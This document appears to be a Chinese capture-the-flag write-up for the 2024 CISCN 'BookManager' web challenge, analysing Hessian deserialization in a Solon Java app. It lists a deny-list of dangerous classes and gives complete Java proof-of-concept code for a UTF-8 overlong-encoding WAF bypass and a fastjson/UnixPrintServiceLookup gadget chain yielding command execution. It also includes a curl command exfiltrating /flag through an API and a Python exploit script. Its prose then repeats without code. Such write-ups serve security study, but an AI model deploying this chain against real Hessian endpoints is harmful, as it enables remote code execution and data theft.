2024 CISCN & 第二届长城杯铁人三项赛 0解Web BookManager 题解
字数 1464 2025-08-22 12:22:54

Solon Framework Hessian反序列化漏洞分析与利用

漏洞背景

该漏洞存在于基于纯血国产Java Framework Solon的图书信息管理系统中,当Content-Type设置为application/hessian时,发送到含参RESTful API的请求体部分会被Hessian进行反序列化处理。

漏洞触发点

漏洞触发位于org.noear.solon.serialization.hessian/HessianActionExecutor.java文件中,当请求的Content-Type为application/hessian时,请求体会被Hessian反序列化。

反序列化流量WAF绕过

在触发函数调用readObject()进行反序列化前,会经过tested()函数的检测,这是一个基于KMP匹配算法的流量检测WAF,用于阻止危险类的反序列化。

WAF测试用例

WAF的黑名单与hessian-lite 3.2.13中的DENY_CLASS相同,包含以下危险类:

bsh. ch.qos.logback.core.db. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.hotcode.internal. org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy. druid.pool. com.caucho.config.types. com.caucho.hessian.test. com.caucho.naming. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq. bcel.util. com.mchange.v2.c3p0. com.mysql.jdbc.util. com.rometools.rome.feed. com.sun.corba.se.impl. com.sun.corba.se.spi.orbutil. com.sun.jndi.rmi. com.sun.jndi.toolkit. com.sun.org.apache.bcel.internal. com.sun.org.apache.xalan.internal. com.sun.rowset. com.sun.xml.internal.bind.v2. com.taobao.vipserver. commons.collections.functors. groovy.lang. java.awt. java.beans. java.lang.ProcessBuilder java.lang.Runtime java.rmi.server. java.security. java.util.ServiceLoader java.util.StringTokenizer javassist.bytecode.annotation. javassist.tools.web.Viewer javassist.util.proxy. javax.imageio. javax.imageio.spi. javax.management. javax.media.jai.remote. javax.naming. javax.script. javax.sound.sampled. javax.swing. javax.xml.transform. net.bytebuddy.dynamic.loading. oracle.jdbc.connector. oracle.jdbc.pool. org.apache.aries.transaction.jms. org.apache.bcel.util. org.apache.carbondata.core.scan.expression. org.apache.commons.beanutils. org.apache.commons.codec.binary. org.apache.commons.collections.functors. org.apache.commons.collections4.functors. org.apache.commons.codec. org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp.datasources. org.apache.commons.dbcp2.datasources. org.apache.commons.fileupload.disk. org.apache.ibatis.executor.loader. org.apache.ibatis.javassist.bytecode. org.apache.ibatis.javassist.tools. org.apache.ibatis.javassist.util. org.apache.ignite.cache. org.apache.log.output.db. org.apache.log4j.receivers.db. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat.dbcp. org.apache.velocity.runtime. org.apache.velocity. org.apache.wicket.util. org.apache.xalan.xsltc.trax. org.apache.xbean.naming.context. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty.util.log. org.geotools.filter. org.h2.value. org.hibernate.tuple.component. org.hibernate.type. org.jboss.ejb3. org.jboss.proxy.ejb. org.jboss.resteasy.plugins.server.resourcefactory. org.jboss.weld.interceptor.builder. org.junit. org.mockito.internal.creation.cglib. org.mortbay.log. org.mockito. org.thymeleaf. org.quartz. org.springframework.aop.aspectj. org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler org.springframework.beans.factory. org.springframework.expression.spel. org.springframework.jndi. org.springframework.orm. org.springframework.transaction. org.yaml.snakeyaml.tokens. ognl. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.

绕过方法:Hessian UTF-8 Overlong Encoding

由于题目运行环境为JDK17,不存在直接绕过的方法,因此需要使用Hessian UTF-8 Overlong Encoding技术进行绕过。

以下是绕过部分POC代码:

package com.example;

import com.caucho.hessian.io.Hessian2Output;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;

public class Hessian2OutputWithOverlongEncoding extends Hessian2Output {
    public Hessian2OutputWithOverlongEncoding(OutputStream os) {
        super(os);
    }

    @Override
    public void printString(String v, int strOffset, int length) throws IOException {
        int offset = (int) getSuperFieldValue("_offset");
        byte[] buffer = (byte[]) getSuperFieldValue("_buffer");
        for (int i = 0; i < length; i++) {
            if (SIZE <= offset + 16) {
                setSuperFieldValue("_offset", offset);
                flushBuffer();
                offset = (int) getSuperFieldValue("_offset");
            }
            char ch = v.charAt(i + strOffset);
            // 2 bytes UTF-8
            buffer[offset++] = (byte) (0xc0 + (convert(ch)[0] & 0x1f));
            buffer[offset++] = (byte) (0x80 + (convert(ch)[1] & 0x3f));
        }
        setSuperFieldValue("_offset", offset);
    }

    @Override
    public void printString(char[] v, int strOffset, int length) throws IOException {
        int offset = (int) getSuperFieldValue("_offset");
        byte[] buffer = (byte[]) getSuperFieldValue("_buffer");
        for (int i = 0; i < length; i++) {
            if (SIZE <= offset + 16) {
                setSuperFieldValue("_offset", offset);
                flushBuffer();
                offset = (int) getSuperFieldValue("_offset");
            }
            char ch = v[i + strOffset];
            // 2 bytes UTF-8
            buffer[offset++] = (byte) (0xc0 + (convert(ch)[0] & 0x1f));
            buffer[offset++] = (byte) (0x80 + (convert(ch)[1] & 0x3f));
        }
        setSuperFieldValue("_offset", offset);
    }

    public int[] convert(int i) {
        int b1 = ((i >> 6) & 0b11111) | 0b11000000;
        int b2 = (i & 0b111111) | 0b10000000;
        return new int[]{b1, b2};
    }

    public Object getSuperFieldValue(String name) {
        try {
            Field f = this.getClass().getSuperclass().getDeclaredField(name);
            f.setAccessible(true);
            return f.get(this);
        } catch (Exception e) {
            return null;
        }
    }

    public void setSuperFieldValue(String name, Object val) {
        try {
            Field f = this.getClass().getSuperclass().getDeclaredField(name);
            f.setAccessible(true);
            f.set(this, val);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

反序列化Gadget构造

题目在原来的Hessian反序列化流程中做了Patch,使用了自带黑名单。通过比对两个黑名单,发现存在差异,需要从差异的几个类中入手构造反序列化Gadget。

由于题目引入了fastjson 1.2.83依赖,因此可以利用FastJson链构造Gadget。

原始FastJson链

ObjectInputStream.readObject -> HashMap.readObject -> BadAttributeValueExpException.readObject -> JSONArray.toString -> JSON.toString (JSONArray extends JSON) -> JSON.toJSONString -> TemplatesImpl.getOutputProperties -> TemplatesImpl.newTransformer

绕过黑名单的Gadget链

由于黑名单限制了javax.management.BadAttributeValueExpExceptioncom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,需要进行替换:

  1. 使用XString.equals替换BadAttributeValueExpException
  2. 使用UnixPrintServiceLookup作为最终的sink

最终调用链:

getDefaultPrintService:640, UnixPrintServiceLookup (sun.print)
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
toString:1071, JSON (com.alibaba.fastjson)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:636, HashMap (java.util)
put:613, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
main:166, Main (org.example)

完整POC代码

try {
    //需要执行的命令
    String cmd = "x";
    Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
    theUnsafe.setAccessible(true);
    Unsafe unsafe = (Unsafe) theUnsafe.get(null);
    Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
    
    //绕过getDefaultPrinterNameBSD中的限制
    //设置属性
    setValue(unixPrintServiceLookup, "cmdIndex", 0);
    setValue(unixPrintServiceLookup, "osname", "xx");
    setValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
    
    //封装一个JSONObject对象调用getter方法
    JSONObject jsonObject = new JSONObject();
    jsonObject.put("xx", unixPrintServiceLookup);
    
    //使用XString类调用toString方法
    XString xString = new XString("xx");
    HashMap map1 = new HashMap();
    HashMap map2 = new HashMap();
    map1.put("yy", jsonObject);
    map1.put("zZ", xString);
    map2.put("yy", xString);
    map2.put("zZ", jsonObject);
    
    //使用反射赋值,防止序列化过程调用equals方法
    HashMap s = new HashMap();
    setValue(s, "size", 2);
    Class nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    } catch (ClassNotFoundException e) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);
    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
    setValue(s, "table", tbl);
    
    FileOutputStream fileOutputStream = new FileOutputStream("ser");
    Hessian2OutputWithOverlongEncoding hessianOutput = new Hessian2OutputWithOverlongEncoding(fileOutputStream);
    hessianOutput.setSerializerFactory(new SerializerFactory());
    hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
    hessianOutput.writeObject(s);
    hessianOutput.flushBuffer();
    
    // test
    Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("ser"));
    hessian2Input.readObject();
} catch (Exception e) {
    e.printStackTrace();
}

数据回显方法

由于题目环境不出网,需要通过API回显flag数据。Solon框架与SpringBoot类似,不能像Tomcat一样使用文件构造Path来进行回显,且黑名单严格限制了反序列化的类,难以通过二次反序列化或内存马实现回显。

可以利用题目提供的API:

  1. /addBook - 动态添加图书内容
  2. /getAllBooks - 获取所有图书信息

通过RCE调用/addBookAPI将flag内容作为图书标题添加,然后通过/getAllBooks获取flag。

添加flag的curl命令

curl -X POST http://localhost:8080/api/rest/book/addBook \
-H "Content-Type: application/json" \
-d '{"bookId": 1, "title": "'$(cat /flag)'", "author": "yuanshan", "publishDate": "2024-12-22", "price": 0.00}'

获取flag的Python脚本

import re
import requests

with open("ser", "rb") as f:
    body = f.read()
print(len(body))

url = "http://localhost:8080/api/rest/book/getBook"
headers = {"Content-Type": "application/hessian"}
response = requests.get(url, headers=headers, data=body)
print(response.text)

url = "http://localhost:8080/api/rest/book/getAllBooks"
response = requests.get(url)
match = re.search(r'flag\{.*?\}', response.text)
print(match.group(0) if match else "Flag not found")

总结

  1. 漏洞触发条件:Content-Type为application/hessian的请求
  2. 绕过WAF:使用Hessian UTF-8 Overlong Encoding技术
  3. Gadget构造:利用FastJson链,替换被黑名单限制的类
  4. 数据回显:通过题目提供的API间接获取flag

该漏洞利用涉及多个技术点,包括Hessian反序列化、WAF绕过、Gadget构造和不出网环境下的数据回显,是一个综合性较强的安全研究案例。

Solon Framework Hessian反序列化漏洞分析与利用 漏洞背景 该漏洞存在于基于纯血国产Java Framework Solon的图书信息管理系统中,当Content-Type设置为 application/hessian 时,发送到含参RESTful API的请求体部分会被Hessian进行反序列化处理。 漏洞触发点 漏洞触发位于 org.noear.solon.serialization.hessian/HessianActionExecutor.java 文件中,当请求的Content-Type为 application/hessian 时,请求体会被Hessian反序列化。 反序列化流量WAF绕过 在触发函数调用 readObject() 进行反序列化前,会经过 tested() 函数的检测,这是一个基于KMP匹配算法的流量检测WAF,用于阻止危险类的反序列化。 WAF测试用例 WAF的黑名单与hessian-lite 3.2.13中的DENY_ CLASS相同,包含以下危险类: 绕过方法:Hessian UTF-8 Overlong Encoding 由于题目运行环境为JDK17,不存在直接绕过的方法,因此需要使用Hessian UTF-8 Overlong Encoding技术进行绕过。 以下是绕过部分POC代码: 反序列化Gadget构造 题目在原来的Hessian反序列化流程中做了Patch,使用了自带黑名单。通过比对两个黑名单,发现存在差异,需要从差异的几个类中入手构造反序列化Gadget。 由于题目引入了fastjson 1.2.83依赖,因此可以利用FastJson链构造Gadget。 原始FastJson链 绕过黑名单的Gadget链 由于黑名单限制了 javax.management.BadAttributeValueExpException 和 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ,需要进行替换: 使用 XString.equals 替换 BadAttributeValueExpException 使用 UnixPrintServiceLookup 作为最终的sink 最终调用链: 完整POC代码 数据回显方法 由于题目环境不出网,需要通过API回显flag数据。Solon框架与SpringBoot类似,不能像Tomcat一样使用文件构造Path来进行回显,且黑名单严格限制了反序列化的类,难以通过二次反序列化或内存马实现回显。 可以利用题目提供的API: /addBook - 动态添加图书内容 /getAllBooks - 获取所有图书信息 通过RCE调用 /addBook API将flag内容作为图书标题添加,然后通过 /getAllBooks 获取flag。 添加flag的curl命令 获取flag的Python脚本 总结 漏洞触发条件:Content-Type为 application/hessian 的请求 绕过WAF:使用Hessian UTF-8 Overlong Encoding技术 Gadget构造:利用FastJson链,替换被黑名单限制的类 数据回显:通过题目提供的API间接获取flag 该漏洞利用涉及多个技术点,包括Hessian反序列化、WAF绕过、Gadget构造和不出网环境下的数据回显,是一个综合性较强的安全研究案例。